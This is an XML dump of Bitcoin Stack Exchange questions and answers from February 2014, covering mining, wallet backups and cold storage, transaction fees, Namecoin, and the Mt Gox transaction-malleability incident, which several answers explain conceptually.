  <row Id="22678" PostTypeId="2" ParentId="22676" CreationDate="2014-02-25T21:08:24.173" Score="1" Body="&lt;p&gt;When your share is better than the difficulty you have solved a block. Other than that, the best share is only for your information/amusement. Although, some pools only count shares above a certain difficulty towards the work one has provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even succeeding at the difficulty, you could still not be discovering a block for one of the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The difficulty you were looking at was the difficulty at which the pool is accepting shares as work, instead of the networks difficulty.&lt;/li&gt;&#xA;&lt;li&gt;You were working on a stale block chain.&lt;/li&gt;&#xA;&lt;li&gt;Another block was found at the same time and was accepted right before yours.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-26T23:32:52.483" LastActivityDate="2014-02-26T23:32:52.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22679" PostTypeId="2" ParentId="22641" CreationDate="2014-02-25T21:14:14.050" Score="1" Body="&lt;p&gt;I feel very fortunate in learning before I invested in BTC the difference between public and private keys.  Also knowing how to use Localbitcoins (as an example) as an exchange and being advised once I received my bitcoins at LBC not to leave them there for any time.....because you never know what will happen to any exchange. I was advised to transfer the BTC in LBC to a wallet such as Electrum which uses a random seed to generate private keys. Storing your BTC in such a way gives you far more security than leaving them deposited on an exchange.&lt;/p&gt;&#xA;" OwnerUserId="13879" LastActivityDate="2014-02-25T21:14:14.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22680" PostTypeId="1" AcceptedAnswerId="23191" CreationDate="2014-02-25T21:22:48.550" Score="6" ViewCount="1758" Body="&lt;p&gt;It feels like science fiction is lagging behind Bitcoin and the blockchain technology that is powering it.  Are there any writers who have discussed similar technology in their stories? Even in the past 5 years?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the same question at &lt;a href=&quot;http://forum.ethereum.org/discussion/464/science-fiction-and-the-blockchain&quot; rel=&quot;nofollow noreferrer&quot;&gt;the ethereum forum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorUserId="5406" LastEditorDisplayName="user5672" LastEditDate="2021-02-01T19:47:59.947" LastActivityDate="2021-02-01T19:47:59.947" Title="Are there any works of science fiction out there that relate to blockchain technology?" Tags="|blockchain|pop-culture-references|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22681" PostTypeId="2" ParentId="22550" CreationDate="2014-02-25T21:27:41.633" Score="1" Body="&lt;p&gt;Here is a workaround that doesn't solve the core issue but it will solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you make the transaction check if the destination address is also an address that belongs to the same user. If so, don't create the transaction. Warn the user that the destination address belongs to him and that he cannot make this transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also happen if address B belongs to another user on your site. Do the same check and make the transaction off the chain. Just update users' balances but do not create a bitcoin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that this scenario actually takes place in an exchange, I think you can comfortably draw the line like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving balances between two addresses that belong to the same user sounds like a wallet functionality. But you are running an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some users might complain, but hey, better to be safe than goxed. They will understand.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-02-25T21:27:41.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22682" PostTypeId="1" CreationDate="2014-02-25T21:29:56.647" Score="0" ViewCount="2297" Body="&lt;p&gt;What is the maximum temperature a USB miner should be running at? Mine are at about 60°C/150°F.&lt;/p&gt;&#xA;" OwnerUserId="13804" LastEditorUserId="5406" LastEditDate="2016-03-06T21:47:21.213" LastActivityDate="2016-03-06T21:47:21.213" Title="What temperature should a USB ASIC Miner have while running?" Tags="|asic|mining-hardware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22683" PostTypeId="1" CreationDate="2014-02-25T21:30:47.237" Score="3" ViewCount="754" Body="&lt;p&gt;Will a cold storage wallet &lt;strong&gt;always&lt;/strong&gt; work?  What happens if the bitcoin protocol is updated? Is there a vulnerability in the protocol that could be changed to create this situation? Where is this formally documented?&lt;/p&gt;&#xA;" OwnerUserId="13880" LastActivityDate="2014-03-28T00:59:19.350" Title="Can a cold storage bitcoin wallet become obsolete?" Tags="|coldstorage|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22684" PostTypeId="2" ParentId="22680" CreationDate="2014-02-25T21:35:04.737" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://shadowrun.wikia.com/wiki/Credstick&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Credsticks&lt;/strong&gt;&lt;/a&gt; from Shadowrun by description work similarly to a Bitcoin hardware wallet, i.e. they are digital, but can't be double-spend. Yet, as far as I know, the mechanics are never explained in novels or rpg background material.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-25T21:35:04.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22685" PostTypeId="2" ParentId="22683" CreationDate="2014-02-25T21:38:42.527" Score="0" Body="&lt;p&gt;There is no formal documentation for Bitcoin apart from the Wiki and the code itself which is now heavily commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, no. However it may become insecure which is different from becoming obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A future iteration of the bitcoin protocol may require you to move your coins from one address (inside a wallet) to another more secure one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This situation could occur if a weakness was found in the current security of the algorithms used in Bitcoin, and, by general agreement, everybody decided to upgrade to a new set of secure keys. You would be foolish not to do the same even if you had not touched your cold storage for years.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-02-25T21:38:42.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22686" PostTypeId="2" ParentId="22674" CreationDate="2014-02-25T21:41:53.657" Score="0" Body="&lt;p&gt;None as yet. It is pure speculation, and in any case any study of such a kind would have and even chance of being completely wrong. Nobody can see into the future.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-02-25T21:41:53.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22687" PostTypeId="2" ParentId="22683" CreationDate="2014-02-25T21:45:33.607" Score="0" Body="&lt;p&gt;Cold storage is a general term for private keys that are kept disconnected from the internet. It can be a paper wallet, it can be a computer that is not and has never been connected to the internet. It can even be an engraving on a ring. So you won't find any formal documentation of &quot;cold storage&quot; anywhere. Actually you won't find formal documentation of anything related to Bitcoin but that is something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you mean by obsolete is amounts you hold in any type of cold storage to be spent without the physical means being destroyed or stolen, then no, they cannot be obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your paper wallet can burn, your computer hard drive might get broken and you might end up not being able to spend the bitcoins you were holding there. If that's what you mean, then yes they can be obsolete.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-02-25T21:45:33.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22688" PostTypeId="2" ParentId="22683" CreationDate="2014-02-25T21:55:08.597" Score="2" Body="&lt;p&gt;There's a page in the wiki dedicated to &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;Bitcoin's weaknesses&lt;/a&gt;. Specifically there's a section which describes what would happen if the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Breaking_the_cryptography&quot; rel=&quot;nofollow&quot;&gt;cryptography would break&lt;/a&gt;. Linked is a forum post &lt;a href=&quot;https://bitcointalk.org/index.php?topic=191.msg1585#msg1585&quot; rel=&quot;nofollow&quot;&gt;by Satoshi&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the hash breakdown came gradually, we could transition to a new&#xA;  hash in an orderly way.  The software would be programmed to start&#xA;  using a new hash after a certain block number.  Everyone would have to&#xA;  upgrade by that time.  The software could save the new hash of all the&#xA;  old blocks to make sure a different block with the same old hash can't&#xA;  be used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In any case I do think that eventually it will become obsolete and you will have to transfer your funds to more secure public/private key pairs. Like Satoshi said, SHA-256 is very strong and could take several decades to break.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a positive note, the transition will be gradual and the community will have time to alert people about the change. This means that you'll have the time to eventually upgrade the keys in your cold storage.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-25T23:04:51.193" LastActivityDate="2014-02-25T23:04:51.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22691" PostTypeId="2" ParentId="17366" CreationDate="2014-02-25T23:20:27.930" Score="1" Body="&lt;p&gt;For Litecoin and other scrypt coins, you'll generally be using either CPU or GPU mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, laptops are NOT recommended for Litecoin or scrypt mining because they have inadequate cooling. The high temperatures generated during scrypt mining &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/19vupm/&quot; rel=&quot;nofollow&quot;&gt;can damage your laptop&lt;/a&gt;, costing you far more than what you could hope to earn from mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you could work out the cooling issues, the CPUs or GPUs found in most notebooks are not fast enough to earn you a decent return.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-25T23:20:27.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22693" PostTypeId="1" CreationDate="2014-02-26T01:06:29.273" Score="13" ViewCount="17596" Body="&lt;p&gt;I accidentally sent a transaction without a miner's fee and I need it to clear as soon as possible. But, as far as I can tell it's going to take days if it goes through at all. Is there any way that I can pay a fee on top of what I've already sent?&lt;/p&gt;&#xA;" OwnerUserId="13889" LastEditorUserId="5406" LastEditDate="2016-10-26T19:40:09.697" LastActivityDate="2017-06-04T16:02:10.177" Title="Is it possible to add a miner's fee after you send your bitcoins?" Tags="|transaction-fees|unconfirmed-transactions|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22694" PostTypeId="2" ParentId="22693" CreationDate="2014-02-26T01:55:00.710" Score="-1" Body="&lt;p&gt;No, there's currently no way of doing this. Some pools will prioritize a large fee on a secondary spend, but unless you own the recipient address as well you can not use this to your advantage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In future pay the standard fee, bit for now you'll need to wait it out. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-26T01:55:00.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22695" PostTypeId="2" ParentId="22630" CreationDate="2014-02-26T02:05:26.420" Score="0" Body="&lt;p&gt;I had nodejs outdated. My version was &quot;v0.9.9&quot; when the latest is (right now) &quot;v0.10.26&quot;, and that was all the issue.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-02-26T02:05:26.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22696" PostTypeId="1" CreationDate="2014-02-26T03:39:07.500" Score="0" ViewCount="133" Body="&lt;p&gt;How can I set which exchange is used to feed the currency ticker in MultiBit, i.e. get rid of Mt. Gox and put MarketCap or some other legitimate exchange in its place?&lt;/p&gt;&#xA;" OwnerUserId="9353" LastEditorUserId="5406" LastEditDate="2014-02-27T14:13:46.613" LastActivityDate="2014-02-27T14:13:46.613" Title="How to set the exchange for MultiBit Wallet Currency Ticker?" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22697" PostTypeId="1" CreationDate="2014-02-26T03:46:53.473" Score="-1" ViewCount="50" Body="&lt;p&gt;I saw a request to add CENT on coinmarketcap. Where can I find out the total of PenniesCENT mined so far?&lt;/p&gt;&#xA;" OwnerUserId="9353" LastEditorUserId="5406" LastEditDate="2014-02-27T11:13:20.410" LastActivityDate="2014-02-27T19:24:21.140" Title="Where can I find information on how many PenniesCENT have already been mined?" Tags="|websites|altcoin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22698" PostTypeId="2" ParentId="22696" CreationDate="2014-02-26T03:55:28.533" Score="1" Body="&lt;p&gt;It's right there in your preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iqLGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-26T03:55:28.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22699" PostTypeId="1" CreationDate="2014-02-26T05:31:45.823" Score="3" ViewCount="304" Body="&lt;p&gt;On this site, we see a lot of questions from people who have sent a transaction which isn't being confirmed, often because they have neglected to include an adequate fee.  The Satoshi client doesn't appear to offer a convenient way to handle this; the only advice to the user is either to wait indefinitely until the transaction is picked up by an altruistic miner, or to do some kind of elaborate hack involving replacing wallet.dat, etc, so that the client forgets the transaction ever existed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious solution from the point of view of the protocol is to produce and send a new transaction spending the same coins, but with a fee added.  Since this would technically constitute a double spend, it's perhaps not surprising that client authors don't want to include such a feature; but all the same it would be very convenient in certain situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there any clients that provide this feature?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatively, has anyone produced a patch adding this functionality to some client?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2017-04-23T18:07:05.530" Title="Which clients offer a way to replace unconfirmed transactions?" Tags="|client|transaction-fees|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22702" PostTypeId="1" AcceptedAnswerId="23037" CreationDate="2014-02-26T06:27:22.700" Score="2" ViewCount="135" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0022.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 22&lt;/a&gt; doesn't seem to specify... Pretty important if you're building a coinbase by hand.&lt;/p&gt;&#xA;" OwnerUserId="13899" LastActivityDate="2014-03-04T14:31:26.897" Title="Doest 'coinbasevalue' in GBT call include fees, or just the total block value?" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22703" PostTypeId="2" ParentId="13046" CreationDate="2014-02-26T06:51:26.847" Score="0" Body="&lt;p&gt;I created a mining profitability calculator, that predicts the difficulty factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aleks1k.github.io/bitcoin-calculator/&quot; rel=&quot;nofollow&quot;&gt;http://aleks1k.github.io/bitcoin-calculator/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13900" LastEditorUserId="11369" LastEditDate="2014-02-26T07:46:04.363" LastActivityDate="2014-02-26T07:46:04.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22704" PostTypeId="2" ParentId="22649" CreationDate="2014-02-26T06:54:10.530" Score="3" Body="&lt;p&gt;Bitstamp and any other exchange are companies and so can be insolvent. If you transfer $1000 to them in exchange for bitcoins. Until they send you the bitcoins they are in to debt to you for that amount. You could take them to court to recover that if they failed to provide the bitcoins or a refund. The court could issue an order allowing the companies assets to be seized so you cod get your $1000 back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if they become insolvent as appears to be the the case with Mt Gox then there's little chance of you being able to collect on the debt. As there will be no assests left for the court to seize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some regulated professions are required to use nominated accounts were money is held on behalf of a customer. In this case the money is still yours. This is something regulation of the BitCoin exchanges might require.&lt;/p&gt;&#xA;" OwnerUserId="12549" LastActivityDate="2014-02-26T06:54:10.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22705" PostTypeId="2" ParentId="22613" CreationDate="2014-02-26T07:09:31.113" Score="0" Body="&lt;p&gt;Email is a very bad way to exchange address information unless the email is digitally signed. If it was A would still need to know which key to use to validate the signature on the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical secure scenario would be if B is an ecommerse site and wants to tell A where to send the Bitcoins they would do so on a secure webpage over SSL. The identity of B is therefore validated by there SSL certificate. If C tried a man in the middle attack then an error would appear in A's browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does rely on C not being able to corrupt the SSL certificate issuing process. That's a fairly safe assumption if C is a criminal gang. If C is a well financed government agency may be not.&lt;/p&gt;&#xA;" OwnerUserId="12549" LastActivityDate="2014-02-26T07:09:31.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22706" PostTypeId="2" ParentId="22693" CreationDate="2014-02-26T07:57:22.067" Score="-1" Body="&lt;p&gt;The short answer is no but in theory you can &lt;em&gt;with lots of mining power&lt;/em&gt;. Some miners may be generous enough to include your low/none fee transaction but lets ramp up the fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can force a modified transaction into a block that you have mined. To do this you will have to beat the Bitcoin network, this is next to impossible with even thousands of dollars. So let's assume you are the owner of a pool and you mine a block, you are at liberty to add any transactions you want as long as it's following the Bitcoin protocol rules. You can easily modify transactions you and only you have made, there can only be one transaction using the unique Bitcoin so the other transaction will become invalid. Basically, modify transaction then insert it into a block, transmit it to network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wanted to be the only person to answer &quot;yes&quot; in a way. Goatse's answer is perfect and probably fits you more.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-26T07:57:22.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22710" PostTypeId="2" ParentId="19945" CreationDate="2014-02-26T10:16:29.607" Score="2" Body="&lt;p&gt;This answer might help: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1251/11026&quot;&gt;https://bitcoin.stackexchange.com/a/1251/11026&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gist is that a &lt;code&gt;-rescan&lt;/code&gt; was needed, when you were restoring an older backed up wallet that didn't have all the transactions in your &lt;em&gt;current&lt;/em&gt; blockchain reflected. Basically the client then goes through your blockchain to see if there are any transactions that affect your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you don't have to worry about this anymore since the client now checks automatically if the wallet is on the same level as the currently downloaded blockchain, and if needed, does the rescan:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=6642.msg99812#msg99812&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=6642.msg99812#msg99812&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-26T10:16:29.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22711" PostTypeId="1" AcceptedAnswerId="22722" CreationDate="2014-02-26T10:19:53.507" Score="1" ViewCount="1463" Body="&lt;p&gt;I follow the instructions for wallet backup and save them digitally. What's a convenient way to occasionally test my wallet backup. I want to make sure that I'm not doing something stupid &amp;amp; my backup method isn't creating unrecoverable garbage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of 2 ways for testing  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the bitcoin client on another computer and import the backup &amp;amp; check balances&lt;/li&gt;&#xA;&lt;li&gt;Rename my installed folder on the existing computer &amp;amp; do a fresh install on the existing computer. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But these methods are not very convenient. Is there a &lt;strong&gt;smarter&lt;/strong&gt; way around it? e.g. a command line tool that'll check the file integrity and spit out some data with which you are reasonably confident that it's &lt;strong&gt;your&lt;/strong&gt; wallet and has the right amount of coins.&lt;/p&gt;&#xA;" OwnerUserId="12440" LastEditorUserId="47827" LastEditDate="2022-08-22T22:27:11.510" LastActivityDate="2022-08-22T22:27:11.510" Title="How do I test my wallet backup?" Tags="|bitcoin-core|wallet|client|backup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22712" PostTypeId="1" AcceptedAnswerId="22713" CreationDate="2014-02-26T10:20:29.583" Score="1" ViewCount="526" Body="&lt;p&gt;I have a P2Pool node running as a VM on my computer.  When I tried to mine on the locally hosted node, the console for the miner was spammed with accepted shares.  When I connect to a remote node, everything seems normal, and not so spammy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set my miner to mine on the locally hosted node, or will I have to point my miner to a different node?&lt;/p&gt;&#xA;" OwnerUserId="12784" LastEditorUserId="5406" LastEditDate="2016-04-25T20:22:57.820" LastActivityDate="2016-04-25T20:22:57.820" Title="Can I run a miner on the same computer as a P2Pool node?" Tags="|miner-configuration|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22713" PostTypeId="2" ParentId="22712" CreationDate="2014-02-26T12:12:34.987" Score="2" Body="&lt;p&gt;You can use a local node with no issue.  The &lt;code&gt;p2pool&lt;/code&gt; instance will eventually increase the difficulty of the shares it asks of the miner if it is getting too many of them. 99% of those &quot;accepted&quot; shares are simply faked to keep the mining client happy anyway, the current share difficulty of the &lt;code&gt;p2pool&lt;/code&gt; network is over 500k. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-26T12:12:34.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22716" PostTypeId="1" CreationDate="2014-02-26T14:16:26.577" Score="1" ViewCount="186" Body="&lt;p&gt;I have problem with bitcoind with the command sendfrom &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind sendfrom test1  1.99990005&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value when command &quot;listtransaction test1&quot; is 1.99990004.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using bitcoind in ubuntu 12:04 locale en_US.UTF-8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="13918" LastActivityDate="2014-02-26T14:16:26.577" Title="bitcoind sendfrom round amount error" Tags="|bitcoind|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22717" PostTypeId="1" CreationDate="2014-02-26T16:06:49.047" Score="4" ViewCount="297" Body="&lt;p&gt;What's being reported on the news is that millions of Bitcoins were stolen from Mt Gox.  But the Bitcoin Foundation blog says something different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=422&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/blog/?p=422&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Somebody (or several somebodies) is taking advantage of the transaction malleability issue and relaying mutated versions of transactions. This is exposing bugs in both the reference implementation and some exchange’s software.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We (core dev team, developers at the exchanges, and even big mining pools) are creating workarounds and fixes right now. This is a denial-of-service attack; whoever is doing this is not stealing coins, but is succeeding in preventing some transactions from confirming. It’s important to note that DoS attacks do not affect people’s bitcoin wallets or funds.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So is the transaction malleability issue Mt Gox is suffering from just a denial-of-service attack, or were Bitcoins actually stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You in Advance.&lt;/p&gt;&#xA;" OwnerUserId="13921" LastEditorUserId="2306" LastEditDate="2014-09-13T19:44:04.433" LastActivityDate="2014-09-13T19:44:04.433" Title="Does the Mt Gox attack constitute theft of Bitcoins or just a Denial-of-Service attack?" Tags="|security|mtgox|transaction-malleability|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22718" PostTypeId="2" ParentId="22717" CreationDate="2014-02-26T16:36:46.463" Score="2" Body="&lt;p&gt;What has been reported for the past two weeks or so is an issue called transaction (id) malleability: A hash calculated from each bitcoin transaction, the transaction id or txid, can be changed until the transaction is confirmed in the blockchain, by third parties. This deviates from the intuitive, and presumably intended, behavior. Any attempt to spend unconfirmed transactions is vulnerable to a denial-of-service attack where the attacker tries to change the transaction id, denying future spending until the spender updates his idea of what happened to his wallet with the blockchain and re-issues those transactions that build on a wrong expectation of what transaction id would be incorporated into the blockchain. Large bitcoin services' hot wallets with their high transaction volume are particularly likely to be vulnerable, since before this issue became known, it would have been very natural to simply keep producing transactions building upon unconfirmed prior transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn this denial-of-service attack into something more like a theft requires some social engineering. In the denial-of-service attack, the attacker can potentially force the wallet operator to &#xA;reduce the rate of his bitcoin transactions to one per new block and bitcoin address, all whilst in a sense hiding the occasional successful transaction because it confirms under an unexpected, changed transaction id. If an attacker can use these circumstances to convince the service provider that he did not receive a bitcoin payment he is entitled to (possibly pointing to the wrong original transaction id), he may be able to trick the service provider into initiating a new transaction. And maybe a third one or even more. This may have happened to MtGox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a longer and colorful description of this hypothesis, see the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22104/wouldnt-the-malleable-transaction-attack-be-foiled-by-common-sense&quot;&gt;Wouldn't the “malleable transaction” attack be foiled by common sense?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-05-22T18:55:03.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22719" PostTypeId="2" ParentId="22717" CreationDate="2014-02-26T17:25:30.543" Score="3" Body="&lt;p&gt;As I understand it (and wrote at more length in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22104/wouldnt-the-malleable-transaction-attack-be-foiled-by-common-sense&quot;&gt;this question&lt;/a&gt;), the statement is technically correct but incomplete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of a malleable transaction attack is that the targeted transaction (in which the victim voluntarily sent coins to the attacker) does not confirm, but an equivalent transaction with a different ID does confirm.  It is true that this does not steal any coins: the recipient gets the same coins they were already getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theft occurs in the next step, not described in your statement: the attacker points out to the victim that the original transaction didn't confirm, and convinces him to resend the amount, in a new and independent transaction.  If the victim doesn't notice the attacker's equivalent transaction, he might do this; then the attacker has received twice as many coins as he was supposed to.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-02-26T17:25:30.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22720" PostTypeId="1" AcceptedAnswerId="22721" CreationDate="2014-02-26T17:30:53.517" Score="0" ViewCount="196" Body="&lt;p&gt;I think the title says it all. But I will say this, I know I can view websites hosted on my server without having internet. I just have to be viewing the site on my network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know that since namecoin and .bit domain names are decentralized if their is a way of connecting and viewing .bit domain names without dealing with an ISP provider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so can someone refer me to some good tutorials and or how to's do something like this?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastEditorDisplayName="user6049" LastEditDate="2014-02-26T18:20:45.237" LastActivityDate="2014-02-26T18:20:45.237" Title="Can I view .bit domains without having internet through my ISP provider?" Tags="|namecoin|websites|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22721" PostTypeId="2" ParentId="22720" CreationDate="2014-02-26T18:20:00.017" Score="1" Body="&lt;p&gt;Unfortunately, no, the contents of websites themselves are not distributed by namecoin. There is something that is, though: For regular internet sites, your computer would first contact a domain name server with a query of what internet protocol (IP) address this site currently has. When using namecoin's .bit domain, all the information that usually originates at domain name servers on the internet instead comes from data distributed by the namecoin network across its clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, there is some data that is distributed and does exist locally if you run a namecoin client. But it will only give you some minimal metadata about the sites, not any of their content.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-02-26T18:20:00.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
